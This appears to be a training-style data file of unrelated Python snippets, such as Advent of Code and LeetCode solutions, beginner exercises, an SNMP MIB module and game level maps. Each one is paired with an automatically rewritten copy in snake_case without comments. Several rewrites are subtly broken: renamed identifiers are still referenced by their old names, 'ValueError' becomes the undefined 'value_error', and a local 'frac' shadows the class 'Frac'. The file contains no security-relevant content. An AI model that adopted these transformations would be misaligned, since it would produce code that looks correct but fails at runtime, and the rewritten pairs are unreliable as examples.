('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardInterfaceType'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardBandwidth'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardSerialNum'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardCLEICode'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardPartNum'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardDOM'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardPCBVersion'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardSWVersion'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardFPGAVersion'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardEPLDVersion'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardBIOSVersion'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardMAC'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardPSTState'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardSSTState'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardTPSPriority'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardSwitchState'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardDescription')) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): current_object_group = currentObjectGroup.setStatus('current') optixsonet_eqpt_mgt_compliances = mib_identifier((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 2, 2)) basic_compliance = module_compliance((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 2, 2, 1)).setObjects(('OPTIX-SONET-EQPTMGT-MIB-V2', 'currentObjectGroup')) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): basic_compliance = basicCompliance.setStatus('current') mibBuilder.exportSymbols('OPTIX-SONET-EQPTMGT-MIB-V2', cardTPSPriority=cardTPSPriority, cardIndexSlotId=cardIndexSlotId, cardDOM=cardDOM, cardEPLDVersion=cardEPLDVersion, cardSerialNum=cardSerialNum, cardInterfaceType=cardInterfaceType, cardDescription=cardDescription, optixsonetEqptMgtGroups=optixsonetEqptMgtGroups, cardSSTState=cardSSTState, basicCompliance=basicCompliance, optixsonetCardInfoTable=optixsonetCardInfoTable, cardBandwidth=cardBandwidth, cardSWVersion=cardSWVersion, cardMAC=cardMAC, cardPSTState=cardPSTState, PYSNMP_MODULE_ID=optixsonetEqptMgt, cardPhysicalType=cardPhysicalType, optixsonetEqptMgt=optixsonetEqptMgt, cardPartNum=cardPartNum, cardBIOSVersion=cardBIOSVersion, cardFPGAVersion=cardFPGAVersion, cardPCBVersion=cardPCBVersion, currentObjectGroup=currentObjectGroup, cardSwitchState=cardSwitchState, optixsonetCardInfoEntry=optixsonetCardInfoEntry, cardCLEICode=cardCLEICode, cardProvisionType=cardProvisionType, optixsonetEqptMgtConformance=optixsonetEqptMgtConformance, cardIndexSfpId=cardIndexSfpId, IntfType=IntfType, optixsonetEqptMgtCompliances=optixsonetEqptMgtCompliances)
#!/usr/bin/env python3 CAVE_DEPTH = 6969 TARGET_LOC = (9, 796) GEO_INDEX_CACHE = { (0, 0): 0, TARGET_LOC: 0 } def get_geo_index(x, y): key = (x, y) if key not in GEO_INDEX_CACHE: if y == 0: GEO_INDEX_CACHE[key] = x * 16807 elif x == 0: GEO_INDEX_CACHE[key] = y * 48271 else: GEO_INDEX_CACHE[key] = get_erosion_level(x, y - 1) * get_erosion_level(x - 1, y) return GEO_INDEX_CACHE[key] def get_erosion_level(x, y): return (get_geo_index(x, y) + CAVE_DEPTH) % 20183 total_danger = 0 for x in range(TARGET_LOC[0]+1): for y in range(TARGET_LOC[1] + 1): total_danger += get_erosion_level(x, y) % 3 print("Part 1:", total_danger)
cave_depth = 6969 target_loc = (9, 796) geo_index_cache = {(0, 0): 0, TARGET_LOC: 0} def get_geo_index(x, y): key = (x, y) if key not in GEO_INDEX_CACHE: if y == 0: GEO_INDEX_CACHE[key] = x * 16807 elif x == 0: GEO_INDEX_CACHE[key] = y * 48271 else: GEO_INDEX_CACHE[key] = get_erosion_level(x, y - 1) * get_erosion_level(x - 1, y) return GEO_INDEX_CACHE[key] def get_erosion_level(x, y): return (get_geo_index(x, y) + CAVE_DEPTH) % 20183 total_danger = 0 for x in range(TARGET_LOC[0] + 1): for y in range(TARGET_LOC[1] + 1): total_danger += get_erosion_level(x, y) % 3 print('Part 1:', total_danger)
def is_string(thing): try: return isinstance(thing, basestring) except NameError: return isinstance(thing, str)
def is_string(thing): try: return isinstance(thing, basestring) except NameError: return isinstance(thing, str)
def authenticated_method(func): def _decorated(self, *args, **kwargs): if not self.api_key: raise ValueError("you need to set your API KEY for this method.") response = func(self, *args, **kwargs) if response.status_code == 401: raise ValueError("invalid private/public key for API.") return response.json() return _decorated
def authenticated_method(func): def _decorated(self, *args, **kwargs): if not self.api_key: raise value_error('you need to set your API KEY for this method.') response = func(self, *args, **kwargs) if response.status_code == 401: raise value_error('invalid private/public key for API.') return response.json() return _decorated
class Frac: def __init__(self, idx: int, idy: int, x: int, y: int) -> None: self.idx = idx self.idy = idy self.x = x self.y = y def __lt__(self, other: "Frac") -> bool: return self.x * other.y < self.y * other.x class Solution: def kthSmallestPrimeFraction(self, arr: List[int], k: int) -> List[int]: n = len(arr) q = [Frac(0, i, arr[0], arr[i]) for i in range(1, n)] heapq.heapify(q) for _ in range(k - 1): frac = heapq.heappop(q) i, j = frac.idx, frac.idy if i + 1 < j: heapq.heappush(q, Frac(i + 1, j, arr[i + 1], arr[j])) return [q[0].x, q[0].y]
class Frac: def __init__(self, idx: int, idy: int, x: int, y: int) -> None: self.idx = idx self.idy = idy self.x = x self.y = y def __lt__(self, other: 'Frac') -> bool: return self.x * other.y < self.y * other.x class Solution: def kth_smallest_prime_fraction(self, arr: List[int], k: int) -> List[int]: n = len(arr) q = [frac(0, i, arr[0], arr[i]) for i in range(1, n)] heapq.heapify(q) for _ in range(k - 1): frac = heapq.heappop(q) (i, j) = (frac.idx, frac.idy) if i + 1 < j: heapq.heappush(q, frac(i + 1, j, arr[i + 1], arr[j])) return [q[0].x, q[0].y]
while True: try: num=int(input("Input your number: ")) print("Your number is {}".format(num)) break except: print("Please insert number!")
while True: try: num = int(input('Input your number: ')) print('Your number is {}'.format(num)) break except: print('Please insert number!')
class XnorController: pass
class Xnorcontroller: pass
birth_year = 1999 if birth_year < 2000: print("line 1") print("line 2") print("line 3") else: print("line 4") print("line 5") print("line 6") if birth_year < 2000: print("line 1") print("line 2") print("line 3") else: print("line 4") print("line 5") print("line 6")
birth_year = 1999 if birth_year < 2000: print('line 1') print('line 2') print('line 3') else: print('line 4') print('line 5') print('line 6') if birth_year < 2000: print('line 1') print('line 2') print('line 3') else: print('line 4') print('line 5') print('line 6')
class TreeNode: def __init__(self, x): self.val = x self.next = None class Solution: def inorderTraversal(self, root: TreeNode) -> list: if root == None: return [] stack = [] visited = set() trav = [] stack.append(root) while len(stack) > 0: if stack[-1].left and stack[-1].left not in visited: # check the left child stack.append(stack[-1].left) else: # no left child or left child has been visited popped = stack.pop() trav.append(popped.val) visited.add(popped) # if has right child, visit it if popped.right: stack.append(popped.right) return trav
class Treenode: def __init__(self, x): self.val = x self.next = None class Solution: def inorder_traversal(self, root: TreeNode) -> list: if root == None: return [] stack = [] visited = set() trav = [] stack.append(root) while len(stack) > 0: if stack[-1].left and stack[-1].left not in visited: stack.append(stack[-1].left) else: popped = stack.pop() trav.append(popped.val) visited.add(popped) if popped.right: stack.append(popped.right) return trav
for i in range(0,3): f = open("dato.txt") f.seek(17+(i*77),0) x1= int(f.read(2)) f.seek(20+(i*77),0) y1= int(f.read(2)) f.seek(35+(i*77),0) a= int(f.read(2)) f.seek(38+(i*77),0) b= int(f.read(2)) f.seek(60+(i*77),0) x2= int(f.read(2)) f.seek(63+(i*77),0) y2= int(f.read(2)) f.seek(73+(i*77),0) r= int(f.read(2)) print (x1,y1,a,b,x2,y2,r ," ") f.close() y=(y1+((b/a)*(x2-x1))) #ecuacion es de la recta d=(r*(1+y)) print ("ecuacion", y) f = open("dato.txt","a") f.write("En la opcion "+str(i)+" ecuacuion que falta "+"\n") f.close()
for i in range(0, 3): f = open('dato.txt') f.seek(17 + i * 77, 0) x1 = int(f.read(2)) f.seek(20 + i * 77, 0) y1 = int(f.read(2)) f.seek(35 + i * 77, 0) a = int(f.read(2)) f.seek(38 + i * 77, 0) b = int(f.read(2)) f.seek(60 + i * 77, 0) x2 = int(f.read(2)) f.seek(63 + i * 77, 0) y2 = int(f.read(2)) f.seek(73 + i * 77, 0) r = int(f.read(2)) print(x1, y1, a, b, x2, y2, r, ' ') f.close() y = y1 + b / a * (x2 - x1) d = r * (1 + y) print('ecuacion', y) f = open('dato.txt', 'a') f.write('En la opcion ' + str(i) + ' ecuacuion que falta ' + '\n') f.close()
a=int(input('Enter number of terms ')) f=1 s=0 for i in range(1,a+1): f=f*i s+=f print('Sum of series =',s)
a = int(input('Enter number of terms ')) f = 1 s = 0 for i in range(1, a + 1): f = f * i s += f print('Sum of series =', s)
# You need Elemental codex 1+ to cast "Haste" hero.cast("haste", hero) hero.moveXY(14, 30) hero.moveXY(20, 30) hero.moveXY(28, 15) hero.moveXY(69, 15) hero.moveXY(72, 58)
hero.cast('haste', hero) hero.moveXY(14, 30) hero.moveXY(20, 30) hero.moveXY(28, 15) hero.moveXY(69, 15) hero.moveXY(72, 58)
# A Bubble class class Bubble(object): # Create the Bubble def __init__(self, x, y, diameter, name): self.x = x self.y = y self.diameter = diameter self.name = name self.over = False # Checking if mouse is over the Bubble def rollover(self, px, py): d = dist(px, py, self.x, self.y) self.over = d < self.diameter / 2 # Display the Bubble def display(self): stroke(0) strokeWeight(2) noFill() ellipse(self.x, self.y, self.diameter, self.diameter) if self.over: fill(0) textAlign(CENTER) text(self.name, self.x, self.y + self.diameter / 2 + 20)
class Bubble(object): def __init__(self, x, y, diameter, name): self.x = x self.y = y self.diameter = diameter self.name = name self.over = False def rollover(self, px, py): d = dist(px, py, self.x, self.y) self.over = d < self.diameter / 2 def display(self): stroke(0) stroke_weight(2) no_fill() ellipse(self.x, self.y, self.diameter, self.diameter) if self.over: fill(0) text_align(CENTER) text(self.name, self.x, self.y + self.diameter / 2 + 20)
queue = [] visited = [] def bfs(visited, graph, start, target): visited.append(start) queue.append(start) while queue: cur = queue.pop(0) if cur == target: break for child in graph[cur]: if child not in visited: visited.append(child) queue.append(child) else: return None return visited if __name__ == "__main__": # A # B C # D E F G graph = { 'A' : ['B','C'], 'B' : ['D', 'E'], 'C' : ['F', 'G'], 'D' : [], 'E' : ['F'], 'F' : [], 'G' : [] } find = "Q" start = "A" res = bfs(visited, graph, start, find) if res == None: print(f"Can't find node {find} in graph...") else: print(f"Found node {find}, visited: {res}")
queue = [] visited = [] def bfs(visited, graph, start, target): visited.append(start) queue.append(start) while queue: cur = queue.pop(0) if cur == target: break for child in graph[cur]: if child not in visited: visited.append(child) queue.append(child) else: return None return visited if __name__ == '__main__': graph = {'A': ['B', 'C'], 'B': ['D', 'E'], 'C': ['F', 'G'], 'D': [], 'E': ['F'], 'F': [], 'G': []} find = 'Q' start = 'A' res = bfs(visited, graph, start, find) if res == None: print(f"Can't find node {find} in graph...") else: print(f'Found node {find}, visited: {res}')
# 621. Task Scheduler class Solution: # Greedy def leastInterval(self, tasks: List[str], n: int) -> int: # Maximum possible number of idle slots is defined by the frequency of the most frequent task. freq = [0] * 26 for t in tasks: freq[ord(t) - ord('A')] += 1 freq.sort() max_freq = freq.pop() idle_time = (max_freq - 1) * n while freq and idle_time > 0: idle_time -= min(max_freq - 1, freq.pop()) idle_time = max(0, idle_time) return idle_time + len(tasks)
class Solution: def least_interval(self, tasks: List[str], n: int) -> int: freq = [0] * 26 for t in tasks: freq[ord(t) - ord('A')] += 1 freq.sort() max_freq = freq.pop() idle_time = (max_freq - 1) * n while freq and idle_time > 0: idle_time -= min(max_freq - 1, freq.pop()) idle_time = max(0, idle_time) return idle_time + len(tasks)
def fetch_ID(url): ''' Takes a video.dtu.dk link and returns the video ID. TODO: This should make some assertions about the url. ''' return '0_' + url.split('0_')[-1].split('/')[0]
def fetch_id(url): """ Takes a video.dtu.dk link and returns the video ID. TODO: This should make some assertions about the url. """ return '0_' + url.split('0_')[-1].split('/')[0]
def sametype(s1: str, s2: str) -> bool: return s1.lower() == s2.lower() def reduct(polymer: str)-> str: did_reduce = True while did_reduce : did_reduce = False for i in range(1, len(polymer)): unit1 = polymer[i-1] unit2 = polymer[i] if sametype(unit1, unit2) and unit1 != unit2: polymer = polymer[:i-1] + polymer[i+1:] did_reduce = True print(len(polymer)) break return polymer TEST_CASE ="dabAcCaCBAcCcaDA" assert reduct(TEST_CASE) == "dabCBAcaDA" with open('data/day05.txt') as f: polymer = f.read().strip() print(reduct(polymer))
def sametype(s1: str, s2: str) -> bool: return s1.lower() == s2.lower() def reduct(polymer: str) -> str: did_reduce = True while did_reduce: did_reduce = False for i in range(1, len(polymer)): unit1 = polymer[i - 1] unit2 = polymer[i] if sametype(unit1, unit2) and unit1 != unit2: polymer = polymer[:i - 1] + polymer[i + 1:] did_reduce = True print(len(polymer)) break return polymer test_case = 'dabAcCaCBAcCcaDA' assert reduct(TEST_CASE) == 'dabCBAcaDA' with open('data/day05.txt') as f: polymer = f.read().strip() print(reduct(polymer))
def run_model(models, features): # First decision for experiment in ["Invasive v.s. Noninvasive", "Atypia and DCIS v.s. Benign", "DCIS v.s. Atypia"]: pca = models[experiment + " PCA"] if pca is not None: features = pca.transform(features).reshape(1, -1) model = models[experiment + " model"] rst = model.predict(features)[0] if rst: if experiment == "Invasive v.s. Noninvasive": return 4, "Invasive" if experiment == "Atypia and DCIS v.s. Benign": return 1, "Benign" if experiment == "DCIS v.s. Atypia": return 3, "DCIS" raise("programming error! unknown experiment") if experiment == "DCIS v.s. Atypia" and not rst: return 2, "Atypia" raise("programming error 2! Unknown experiment and rst")
def run_model(models, features): for experiment in ['Invasive v.s. Noninvasive', 'Atypia and DCIS v.s. Benign', 'DCIS v.s. Atypia']: pca = models[experiment + ' PCA'] if pca is not None: features = pca.transform(features).reshape(1, -1) model = models[experiment + ' model'] rst = model.predict(features)[0] if rst: if experiment == 'Invasive v.s. Noninvasive': return (4, 'Invasive') if experiment == 'Atypia and DCIS v.s. Benign': return (1, 'Benign') if experiment == 'DCIS v.s. Atypia': return (3, 'DCIS') raise 'programming error! unknown experiment' if experiment == 'DCIS v.s. Atypia' and (not rst): return (2, 'Atypia') raise 'programming error 2! Unknown experiment and rst'
# Get the starting fibonacci numbers start1 = int(input("First fibonacci number: ")) start2 = int(input("Second fibonacci number: ")) # New line print("") fibonacci = [start1, start2] for i in range(2, 102): current_fibonacci = fibonacci[i - 1] + fibonacci[i - 2] fibonacci.append(current_fibonacci) # Print all fibonacci numbers for val in fibonacci: print(val) input("\r\nPress enter to continue...")
start1 = int(input('First fibonacci number: ')) start2 = int(input('Second fibonacci number: ')) print('') fibonacci = [start1, start2] for i in range(2, 102): current_fibonacci = fibonacci[i - 1] + fibonacci[i - 2] fibonacci.append(current_fibonacci) for val in fibonacci: print(val) input('\r\nPress enter to continue...')
m = 'John Smithfather' a = m[:-6] b = m[-6:] print(b.title() + ": " + a) print('AsDf'.lower(), 'AsDf'.upper())
m = 'John Smithfather' a = m[:-6] b = m[-6:] print(b.title() + ': ' + a) print('AsDf'.lower(), 'AsDf'.upper())
num=int(input("Enter number:")) if (num > 0): print(num,"is a positive number") else: print(num,"is not a positive number")
num = int(input('Enter number:')) if num > 0: print(num, 'is a positive number') else: print(num, 'is not a positive number')
class _DoubleLinkedBase: class _Node: __slots__ = '_element', '_prev', '_next' def __init__(self, element, prev, next): self._element = element self._prev = prev self._next = next def __init__(self): self._header = self._Node(None, None, None) self._tailer = self._Node(None, None, None) self._header._next = self._tailer self._tailer._prev = self._header self._size = 0 def insert_between(self, e, prev, next): node = self._Node(e, prev, next) prev._next = node next._prev = node self._size += 1 return node def delete(self, node): node._prev._next = node._next node._next._prev = node._prev self._size -= 1 return node._element class PositionalList(_DoubleLinkedBase): class Position: def __init__(self, container, node): self._container = container self._node = node def element(self): return self._node._element def __eq__(self, other): return type(other) is type(self) and other._node is self._node def __ne__(self, other): return not (self == other) def _make_position(self, p): return self.Position(self, p)
class _Doublelinkedbase: class _Node: __slots__ = ('_element', '_prev', '_next') def __init__(self, element, prev, next): self._element = element self._prev = prev self._next = next def __init__(self): self._header = self._Node(None, None, None) self._tailer = self._Node(None, None, None) self._header._next = self._tailer self._tailer._prev = self._header self._size = 0 def insert_between(self, e, prev, next): node = self._Node(e, prev, next) prev._next = node next._prev = node self._size += 1 return node def delete(self, node): node._prev._next = node._next node._next._prev = node._prev self._size -= 1 return node._element class Positionallist(_DoubleLinkedBase): class Position: def __init__(self, container, node): self._container = container self._node = node def element(self): return self._node._element def __eq__(self, other): return type(other) is type(self) and other._node is self._node def __ne__(self, other): return not self == other def _make_position(self, p): return self.Position(self, p)
expected_output = { "tag": { "VRF1": { "hostname_db": { "hostname": { "7777.77ff.eeee": {"hostname": "R7", "level": 2}, "2222.22ff.4444": {"hostname": "R2", "local_router": True}, } } }, "test": { "hostname_db": { "hostname": { "9999.99ff.3333": {"hostname": "R9", "level": 2}, "8888.88ff.1111": {"hostname": "R8", "level": 2}, "7777.77ff.eeee": {"hostname": "R7", "level": 2}, "5555.55ff.aaaa": {"hostname": "R5", "level": 2}, "3333.33ff.6666": {"hostname": "R3", "level": 2}, "1111.11ff.2222": {"hostname": "R1", "level": 1}, "2222.22ff.4444": {"hostname": "R2", "local_router": True}, } } }, } }
expected_output = {'tag': {'VRF1': {'hostname_db': {'hostname': {'7777.77ff.eeee': {'hostname': 'R7', 'level': 2}, '2222.22ff.4444': {'hostname': 'R2', 'local_router': True}}}}, 'test': {'hostname_db': {'hostname': {'9999.99ff.3333': {'hostname': 'R9', 'level': 2}, '8888.88ff.1111': {'hostname': 'R8', 'level': 2}, '7777.77ff.eeee': {'hostname': 'R7', 'level': 2}, '5555.55ff.aaaa': {'hostname': 'R5', 'level': 2}, '3333.33ff.6666': {'hostname': 'R3', 'level': 2}, '1111.11ff.2222': {'hostname': 'R1', 'level': 1}, '2222.22ff.4444': {'hostname': 'R2', 'local_router': True}}}}}}
RUN_CREATE_DATA = { "root_name": "agent", "agent_name": "agent", "component_spec": { "components": { "agent==f39000a113abf6d7fcd93f2eaabce4cab8873fb0": { "class_name": "SB3PPOAgent", "dependencies": { "environment": ( "environment==" "f39000a113abf6d7fcd93f2eaabce4cab8873fb0" ), "tracker": ( "tracker==f39000a113abf6d7fcd93f2eaabce4cab8873fb0" ), }, "file_path": "example_agents/sb3_agent/agent.py", "repo": "sb3_agent_dir", }, "environment==f39000a113abf6d7fcd93f2eaabce4cab8873fb0": { "class_name": "CartPole", "dependencies": {}, "file_path": "example_agents/sb3_agent/environment.py", "repo": "sb3_agent_dir", }, "tracker==f39000a113abf6d7fcd93f2eaabce4cab8873fb0": { "class_name": "SB3Tracker", "dependencies": {}, "file_path": "example_agents/sb3_agent/tracker.py", "repo": "sb3_agent_dir", }, }, "repos": { "sb3_agent_dir": { "type": "github", "url": "https://github.com/nickjalbert/agentos.git", } }, }, "entry_point": "evaluate", "environment_name": "environment", "metrics": { "episode_count": 10.0, "max_reward": 501.0, "mean_reward": 501.0, "median_reward": 501.0, "min_reward": 501.0, "step_count": 5010.0, "training_episode_count": 356.0, "training_step_count": 53248.0, }, "parameter_set": {"agent": {"evaluate": {"n_eval_episodes": "10"}}}, }
run_create_data = {'root_name': 'agent', 'agent_name': 'agent', 'component_spec': {'components': {'agent==f39000a113abf6d7fcd93f2eaabce4cab8873fb0': {'class_name': 'SB3PPOAgent', 'dependencies': {'environment': 'environment==f39000a113abf6d7fcd93f2eaabce4cab8873fb0', 'tracker': 'tracker==f39000a113abf6d7fcd93f2eaabce4cab8873fb0'}, 'file_path': 'example_agents/sb3_agent/agent.py', 'repo': 'sb3_agent_dir'}, 'environment==f39000a113abf6d7fcd93f2eaabce4cab8873fb0': {'class_name': 'CartPole', 'dependencies': {}, 'file_path': 'example_agents/sb3_agent/environment.py', 'repo': 'sb3_agent_dir'}, 'tracker==f39000a113abf6d7fcd93f2eaabce4cab8873fb0': {'class_name': 'SB3Tracker', 'dependencies': {}, 'file_path': 'example_agents/sb3_agent/tracker.py', 'repo': 'sb3_agent_dir'}}, 'repos': {'sb3_agent_dir': {'type': 'github', 'url': 'https://github.com/nickjalbert/agentos.git'}}}, 'entry_point': 'evaluate', 'environment_name': 'environment', 'metrics': {'episode_count': 10.0, 'max_reward': 501.0, 'mean_reward': 501.0, 'median_reward': 501.0, 'min_reward': 501.0, 'step_count': 5010.0, 'training_episode_count': 356.0, 'training_step_count': 53248.0}, 'parameter_set': {'agent': {'evaluate': {'n_eval_episodes': '10'}}}}
def calculateSeat(line, numRows, numColumns): def getSeatParameter(line, up, down, currentCharNum, numChars, minValue, maxValue): if line[currentCharNum] == up: if currentCharNum == numChars: return maxValue currentCharNum += 1 return getSeatParameter(line, up, down, currentCharNum, numChars, (minValue + maxValue) // 2 + 1, maxValue) elif line[currentCharNum] == down: if currentCharNum == numChars: return minValue currentCharNum += 1 return getSeatParameter(line, up, down, currentCharNum, numChars, minValue, (minValue + maxValue) // 2) return getSeatParameter(line, "B", "F", 0, numRows - 1, 0, 2 ** numRows - 1) * (numRows + 1) + getSeatParameter(line, "R", "L", numRows, numRows + numColumns - 1, 0, 2 ** numColumns - 1) def part1(input): max = 0 for line in input: seat = calculateSeat(line, 7, 3) if seat > max: max = seat return max def part2(input): places = [] for line in input: places.append(calculateSeat(line, 7, 3)) places.sort() for i in range(len(places) - 1): if places[i] + 2 == places[i + 1]: return places[i] + 1 f = open("input.txt", "r") input = f.read().splitlines() print(part1(input)) #890 print(part2(input)) #651 f.close()
def calculate_seat(line, numRows, numColumns): def get_seat_parameter(line, up, down, currentCharNum, numChars, minValue, maxValue): if line[currentCharNum] == up: if currentCharNum == numChars: return maxValue current_char_num += 1 return get_seat_parameter(line, up, down, currentCharNum, numChars, (minValue + maxValue) // 2 + 1, maxValue) elif line[currentCharNum] == down: if currentCharNum == numChars: return minValue current_char_num += 1 return get_seat_parameter(line, up, down, currentCharNum, numChars, minValue, (minValue + maxValue) // 2) return get_seat_parameter(line, 'B', 'F', 0, numRows - 1, 0, 2 ** numRows - 1) * (numRows + 1) + get_seat_parameter(line, 'R', 'L', numRows, numRows + numColumns - 1, 0, 2 ** numColumns - 1) def part1(input): max = 0 for line in input: seat = calculate_seat(line, 7, 3) if seat > max: max = seat return max def part2(input): places = [] for line in input: places.append(calculate_seat(line, 7, 3)) places.sort() for i in range(len(places) - 1): if places[i] + 2 == places[i + 1]: return places[i] + 1 f = open('input.txt', 'r') input = f.read().splitlines() print(part1(input)) print(part2(input)) f.close()
#Ex 1041 Coordenadas de um ponto 10/04/2020 x, y = map(float, input().split()) if x > 0 and y > 0: print('Q1') elif x < 0 and y > 0: print('Q2') if x > 0 and y < 0: print('Q4') elif x < 0 and y < 0: print('Q3') elif x == 0 and y == 0: print('Origem')
(x, y) = map(float, input().split()) if x > 0 and y > 0: print('Q1') elif x < 0 and y > 0: print('Q2') if x > 0 and y < 0: print('Q4') elif x < 0 and y < 0: print('Q3') elif x == 0 and y == 0: print('Origem')
N = 10 I = 60 CROSSBAR_FEEDBACK_DELAY = 75e-12 CROSSBAR_INPUT_DELAY = 95e-12
n = 10 i = 60 crossbar_feedback_delay = 7.5e-11 crossbar_input_delay = 9.5e-11
def howdoyoudo(): global helvar if helvar <= 2: i01.mouth.speak("I'm fine thank you") helvar += 1 elif helvar == 3: i01.mouth.speak("you have already said that at least twice") i01.moveArm("left",43,88,22,10) i01.moveArm("right",20,90,30,10) i01.moveHand("left",0,0,0,0,0,119) i01.moveHand("right",0,0,0,0,0,119) sleep(2) relax() helvar += 1 elif helvar == 4: i01.mouth.speak("what is your problem stop saying how do you do all the time") i01.moveArm("left",30,83,22,10) i01.moveArm("right",40,85,30,10) i01.moveHand("left",130,180,180,180,180,119) i01.moveHand("right",130,180,180,180,180,119) sleep(2) relax() helvar += 1 elif helvar == 5: i01.mouth.speak("i will ignore you if you say how do you do one more time") unhappy() sleep(4) relax() helvar += 1
def howdoyoudo(): global helvar if helvar <= 2: i01.mouth.speak("I'm fine thank you") helvar += 1 elif helvar == 3: i01.mouth.speak('you have already said that at least twice') i01.moveArm('left', 43, 88, 22, 10) i01.moveArm('right', 20, 90, 30, 10) i01.moveHand('left', 0, 0, 0, 0, 0, 119) i01.moveHand('right', 0, 0, 0, 0, 0, 119) sleep(2) relax() helvar += 1 elif helvar == 4: i01.mouth.speak('what is your problem stop saying how do you do all the time') i01.moveArm('left', 30, 83, 22, 10) i01.moveArm('right', 40, 85, 30, 10) i01.moveHand('left', 130, 180, 180, 180, 180, 119) i01.moveHand('right', 130, 180, 180, 180, 180, 119) sleep(2) relax() helvar += 1 elif helvar == 5: i01.mouth.speak('i will ignore you if you say how do you do one more time') unhappy() sleep(4) relax() helvar += 1
levelsMap = [ #level 1-1 ("g1","f1",[["ma1","ma3","ma5","b1","m1","e1","m1","b1","ma1","ma3","ma5"], ["ma2","ma4","ma6","b1","b1","b1","b1","b1","ma2","ma4","ma6"], ["b1","b1","b1","m1","b1","m1","b1","m1","b1","b1","b1"], ["m1","b1","b1","b1","b1","b1","b1","b1","b1","b1","m1"], ["b1","b1","m1","b1","ma1","ma3","ma5","b1","m1","b1","b1"], ["b1","b1","m1","b1","ma2","ma4","ma6","p1","m1","b1","b1"], ["m1","b1","b1","b1","b1","b1","b1","b1","b1","b1","m1"], ["b1","b1","b1","m1","b1","m1","b1","m1","b1","b1","b1"], ["ma1","ma3","ma5","b1","b1","b1","b1","b1","ma1","ma3","ma5"], ["ma2","ma4","ma6","b1","m1","e1","m1","b1","ma2","ma4","ma6"]]), #level 1-2 ("g1","f1",[["e1","b1","b1","b1","m1","b1","m1","b1","b1","b1","b1"], ["b1","m1","m1","b1","m1","b1","m1","b1","m1","m1","b1"], ["b1","m1","m1","b1","m1","b1","m1","b1","m1","m1","b1"], ["b1","b1","b1","b1","b1","b1","b1","b1","b1","b1","b1"], ["m1","m1","b1","m1","b1","m1","b1","m1","b1","m1","m1"], ["m1","m1","b1","m1","b1","m1","p1","m1","b1","m1","m1"], ["b1","b1","b1","b1","b1","b1","b1","b1","b1","b1","b1"], ["b1","m1","m1","b1","m1","b1","m1","b1","m1","m1","b1"], ["b1","m1","m1","b1","m1","b1","m1","b1","m1","m1","b1"], ["b1","b1","b1","b1","m1","b1","m1","b1","b1","b1","e1"]]), #level 1-3 ("g1","f1",[["b1","b1","b1","m1","b1","m1","b1","m1","b1","m1","b1"], ["b1","m1","e1","b1","b1","b1","b1","b1","b1","m1","b1"], ["b1","m1","b1","m1","b1","m1","b1","ma1","ma3","ma5","b1"], ["b1","ma1","ma3","ma5","b1","b1","b1","ma2","ma4","ma6","b1"], ["b1","ma2","ma4","ma6","b1","m1","p1","b1","b1","b1","b1"], ["b1","b1","b1","b1","b1","b1","m1","b1","m1","m1","b1"], ["b1","m1","e1","m1","b1","m1","b1","b1","b1","e1","m1"], ["b1","b1","m1","b1","m1","b1","b1","b1","b1","b1","b1"], ["b1","m1","m1","b1","m1","b1","ma1","ma3","ma5","b1","b1"], ["b1","m1","m1","b1","m1","b1","ma2","ma4","ma6","b1","m1"], ["b1","b1","b1","b1","b1","b1","b1","b1","b1","b1","b1"]]), #level 2-1 ("g1","f2",[["e1","b2","b2","b2","b2","b2","b2","b2","b2","b2","e1"], ["b2","b2","b2","b2","m2","b2","b2","b2","b2","b2","b2"], ["mb1","mb3","mb5","b2","b2","b2","m2","b2","mb1","mb3","mb5"], ["mb2","mb4","mb6","b2","b2","b2","b2","b2","mb2","mb4","mb6"], ["b2","m2","b2","b2","mb1","mb3","mb5","b2","b2","m2","m2"], ["b2","b2","b2","b2","mb2","mb4","mb6","b2","b2","b2","b2"], ["mb1","mb3","mb5","b2","b2","m2","b2","b2","mb1","mb3","mb5"], ["mb2","mb4","mb6","b2","b2","b2","b2","b2","mb2","mb4","mb6"], ["b2","b2","m2","b2","b2","b2","b2","m2","b2","b2","b2"], ["e1","b2","b2","b2","b2","p1","b2","b2","b2","b2","e1"]]), #level 2-2 ("g1","f2",[["e1","m2","m2","b2","m2","p1","m2","b2","m2","m2","b2"], ["b2","b2","b2","b2","b2","b2","b2","b2","b2","b2","b2"], ["m2","m2","b2","m2","m2","b2","m2","m2","e1","m2","m2"], ["b2","b2","b2","b2","b2","m2","b2","b2","b2","b2","b2"], ["b2","m2","m2","b2","m2","m2","b2","m2","m2","b2","m2"], ["e1","m2","b2","b2","b2","b2","b2","b2","b2","b2","b2"], ["m2","b2","m2","m2","b2","m2","m2","b2","m2","m2","b2"], ["b2","b2","b2","b2","b2","b2","m2","b2","b2","m2","b2"], ["m2","m2","b2","m2","m2","b2","m2","m2","b2","m2","m2"], ["e1","b2","b2","m2","b2","b2","e1","m2","b2","b2","e1"]]), #level 2-3 ("g1","f2",[["b2","b2","b2","b2","mb1","mb3","mb5","b2","b2","b2","b2"], ["b2","e1","b2","b2","mb2","mb4","mb6","b2","b2","e1","b2"], ["b2","b2","b2","b2","mb1","mb3","mb5","b2","b2","b2","b2"], ["b2","b2","b2","b2","mb2","mb4","mb6","b2","b2","b2","b2"], ["mb1","mb3","mb5","b2","b2","b2","b2","b2","mb1","mb3","mb5"], ["mb2","mb4","mb6","b2","b2","p1","b2","b2","mb2","mb4","mb6"], ["b2","b2","b2","b2","mb1","mb3","mb5","b2","b2","b2","b2"], 